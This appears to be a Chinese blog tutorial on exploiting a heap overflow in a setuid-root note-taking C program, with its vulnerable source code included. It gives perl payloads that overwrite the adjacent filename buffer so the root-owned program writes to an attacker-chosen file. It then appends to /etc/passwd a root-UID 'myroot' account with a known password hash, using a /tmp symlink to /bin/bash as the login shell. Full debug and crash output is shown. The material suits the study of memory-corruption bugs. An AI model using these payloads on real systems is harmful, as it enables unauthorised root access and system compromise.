基本的基于堆的栈溢出

该漏洞发掘的目的是向password文件添加一个具有root权限和已知密码项的额外项

在linux环境下实现。目标程序notetaker.c,源码如下:

void fatal(char *message){
    char error_message[100];
    strcpy(error_message,"[!!]Fatal Error ");
    strncat(error_message,message,83);
    perror(error_message);
    exit(-1);
}
void *ec_malloc(unsigned int size){
    void *ptr;
    ptr=malloc(size);
    if(ptr==NULL)
        fatal("in ec_malloc() on memory allocation");
    return ptr;
}
hacking.h源码
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<fcntl.h>
#include<sys/stat.h>
#include"hacking.h"
void usage(char *prog_name,char *filename){
    printf("Usage: %s <data to add to %s>\n",prog_name,filename);
    exit(0);
}
int main(int argc,char *argv[]){
    int userid,fd;
    char *buffer,*datafile;
    buffer=(char *)ec_malloc(100);
    datafile=(char *)ec_malloc(20);
    strcpy(datafile,"/var/notes");
    if(argc<2)usage(argv[0],datafile);
    strcpy(buffer,argv[1]);
    printf("[DEBUG] buffer @%p: \'%s\'\n",buffer,buffer);
    printf("[DEBUG] datafile @%p: \'%s\'\n",datafile,datafile);
    fd=open(datafile,O_WRONLY|O_CREAT|O_APPEND,S_IRUSR|S_IWUSR);
    if(fd==-1)fatal("in main() while opening file");
    printf("[DEBUG] file descriptor is %d\n",fd);
    userid= getuid();
    if(write(fd,&userid,4)==-1)
        fatal("in main() while writing userid to file");
    write(fd,"\n",1);
    if(write(fd,buffer,strlen(buffer))==-1)
        fatal("in main() while writing userid to file");
    write(fd,"\n",1);
    if(close(fd)==-1)
        fatal("in main() while closing file");
    printf("Note has been saved.\n");
    free(buffer);
    free(datafile);
}

该代码是通过命令行参数向/var/notes文件输入一段文本。但是容易受到缓冲区溢出攻击。

在上面的操作中,notetaker被编译并且所有者变为root。现在运行notetaker时,程序以root身份运行,创建/var/notes的时候所有者也是root。 

根据以上信息,一般情况下,缓冲区分配的储存单元位于0x13d4010,它位于在0x13d4080处为datafile分配的储存单元之前。这两个地址之间距离为16*7=112字节。

由于第一个缓冲区是以null结尾,所以可以放到这个缓冲区的最大数量也应该是112字节,这样才不会溢出到下一个缓冲区。 

 

尝试放入112个字节时,果然在第一个缓冲区刚好放入112个字节。由于null终止符字节溢出到datafile缓冲区,因此datafile内除了一个null不包含任何东西。同时这个null也肯定不可能当作一个文件打开。

因此我们可以想到:是否可以通过把一个文件路径溢出到datafile缓冲区,以此达到对其他文件的修改呢?答案是可以的。

supergate@ubuntu:~/Desktop/C work$ ./notetaker $(perl -e 'print "a"x112 ."testfile"')
[DEBUG] buffer @0x1ae8010: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaatestfile'
[DEBUG] datafile @0x1ae8080: 'testfile'
[DEBUG] file descriptor is 3
Note has been saved.
*** Error in `./notetaker': free(): invalid next size (fast): 0x0000000001ae8010 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fec06af77e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7fec06b0037a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7fec06b0453c]
./notetaker[0x400b7a]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fec06aa0830]
./notetaker[0x400829]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:01 720136                             /home/supergate/Desktop/C work/notetaker
00601000-00602000 r--p 00001000 08:01 720136                             /home/supergate/Desktop/C work/notetaker
00602000-00603000 rw-p 00002000 08:01 720136                             /home/supergate/Desktop/C work/notetaker
01ae8000-01b09000 rw-p 00000000 00:00 0                                  [heap]
7fec00000000-7fec00021000 rw-p 00000000 00:00 0 
7fec00021000-7fec04000000 ---p 00000000 00:00 0 
7fec06868000-7fec0687f000 r-xp 00000000 08:01 919459                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7fec0687f000-7fec06a7e000 ---p 00017000 08:01 919459                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7fec06a7e000-7fec06a7f000 r--p 00016000 08:01 919459                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7fec06a7f000-7fec06a80000 rw-p 00017000 08:01 919459                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7fec06a80000-7fec06c40000 r-xp 00000000 08:01 920000                     /lib/x86_64-linux-gnu/libc-2.23.so
7fec06c40000-7fec06e40000 ---p 001c0000 08:01 920000                     /lib/x86_64-linux-gnu/libc-2.23.so
7fec06e40000-7fec06e44000 r--p 001c0000 08:01 920000                     /lib/x86_64-linux-gnu/libc-2.23.so
7fec06e44000-7fec06e46000 rw-p 001c4000 08:01 920000                     /lib/x86_64-linux-gnu/libc-2.23.so
7fec06e46000-7fec06e4a000 rw-p 00000000 00:00 0 
7fec06e4a000-7fec06e70000 r-xp 00000000 08:01 919972                     /lib/x86_64-linux-gnu/ld-2.23.so
7fec07051000-7fec07054000 rw-p 00000000 00:00 0 
7fec0706e000-7fec0706f000 rw-p 00000000 00:00 0 
7fec0706f000-7fec07070000 r--p 00025000 08:01 919972                     /lib/x86_64-linux-gnu/ld-2.23.so
7fec07070000-7fec07071000 rw-p 00026000 08:01 919972                     /lib/x86_64-linux-gnu/ld-2.23.so
7fec07071000-7fec07072000 rw-p 00000000 00:00 0 
7ffe6e271000-7ffe6e292000 rw-p 00000000 00:00 0                          [stack]
7ffe6e365000-7ffe6e368000 r--p 00000000 00:00 0                          [vvar]
7ffe6e368000-7ffe6e36a000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
Aborted (core dumped)

 这次我们使用testfile覆盖了datafile缓冲区,这会导致程序将文本内容写入到testfile而不是原本的/var/notes文件中。

不过在使用free()释放堆程序的时候,会检测出堆头的错误,程序于是终止。不过在调用free()的时候,已经欺骗程序以root权限将数据写入到一个新文件中。可用命令 sudo cat ./testfile 在进入testfile所在目录的情况下以root身份打开testfile文件。

这种方式可以应用到向/etc/passwd文件添加数据,这个文件包含系统所有用户的用户名称,ID和login shell。由于是比较重要的系统文件,我们在操作前记得做好备份

cp /etc/passwd/tmp/passwd.bkup
head /etc/passwd

可以看到以下类型的信息

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

内容的域用引号" : "分隔,第一个域是登录名称,后面分别是密码,userID,组ID,用户名,主目录,最后是log shell。密码域用x填充。

可以用单向散列算法对密码加密。由于算法单向,因此不能从散列值中重建原始密码。这个算法使用了一个salt值以防止字典查找攻击。

perl函数crypt()用来执行这一功能。第一个参数是密码源码,第二个参数是salt值

salt总是位于散列值开头,用户登录并且输入密码时,系统会为该用户查找已经加密的密码。通过使用相同的加密算法判断加密后的散列值是否相等

mkdir /tmp/etc
ln -s /bin/bash/tmp/etc/passwd
ls -l /tmp/etc/passwd

 以上操作将/tmp/etc/passwd指向login shell/bin/bash 这意味着password 文件的有效logshell在/tmp/etc/passwd也有效。使得:

myroot:XXq2wKiyI43A2:0:0:me:/root:/tmp/etc/passwd

成为一个有效的password文件行

对这行修改,使得在/etc/passwd之前部分长度正好112字节。

所以进行如下操作:

./notetaker $(perl -e 'print "myroot:XXq2wKiyI43A2:0:0:" ."a"x76 .":/root:/tmp/etc/passwd"')

得到如下结果:

[DEBUG] buffer @0x25d4010: 'myroot:XXq2wKiyI43A2:0:0:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:/root:/tmp/etc/passwd'
[DEBUG] datafile @0x25d4080: '/etc/passwd'
[DEBUG] file descriptor is 3
Note has been saved.
*** Error in `./notetaker': free(): invalid next size (fast): 0x00000000025d4010 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f1a45f317e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7f1a45f3a37a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f1a45f3e53c]
./notetaker[0x400b7a]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f1a45eda830]
./notetaker[0x400829]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:01 712973                             /home/supergate/Desktop/C work/notetaker
00601000-00602000 r--p 00001000 08:01 712973                             /home/supergate/Desktop/C work/notetaker
00602000-00603000 rw-p 00002000 08:01 712973                             /home/supergate/Desktop/C work/notetaker
025d4000-025f5000 rw-p 00000000 00:00 0                                  [heap]
7f1a40000000-7f1a40021000 rw-p 00000000 00:00 0 
7f1a40021000-7f1a44000000 ---p 00000000 00:00 0 
7f1a45ca2000-7f1a45cb9000 r-xp 00000000 08:01 919459                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7f1a45cb9000-7f1a45eb8000 ---p 00017000 08:01 919459                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7f1a45eb8000-7f1a45eb9000 r--p 00016000 08:01 919459                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7f1a45eb9000-7f1a45eba000 rw-p 00017000 08:01 919459                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7f1a45eba000-7f1a4607a000 r-xp 00000000 08:01 920000                     /lib/x86_64-linux-gnu/libc-2.23.so
7f1a4607a000-7f1a4627a000 ---p 001c0000 08:01 920000                     /lib/x86_64-linux-gnu/libc-2.23.so
7f1a4627a000-7f1a4627e000 r--p 001c0000 08:01 920000                     /lib/x86_64-linux-gnu/libc-2.23.so
7f1a4627e000-7f1a46280000 rw-p 001c4000 08:01 920000                     /lib/x86_64-linux-gnu/libc-2.23.so
7f1a46280000-7f1a46284000 rw-p 00000000 00:00 0 
7f1a46284000-7f1a462aa000 r-xp 00000000 08:01 919972                     /lib/x86_64-linux-gnu/ld-2.23.so
7f1a4648b000-7f1a4648e000 rw-p 00000000 00:00 0 
7f1a464a8000-7f1a464a9000 rw-p 00000000 00:00 0 
7f1a464a9000-7f1a464aa000 r--p 00025000 08:01 919972                     /lib/x86_64-linux-gnu/ld-2.23.so
7f1a464aa000-7f1a464ab000 rw-p 00026000 08:01 919972                     /lib/x86_64-linux-gnu/ld-2.23.so
7f1a464ab000-7f1a464ac000 rw-p 00000000 00:00 0 
7ffd91750000-7ffd91771000 rw-p 00000000 00:00 0                          [stack]
7ffd917f4000-7ffd917f7000 r--p 00000000 00:00 0                          [vvar]
7ffd917f7000-7ffd917f9000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
Aborted (core dumped)

然后尝试如下操作

自此,我们就建立了一个新用户myroot,拥有root权限。

由于散列值是"password"以salt为"XX"加密的,因此myroot的密码为password。 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值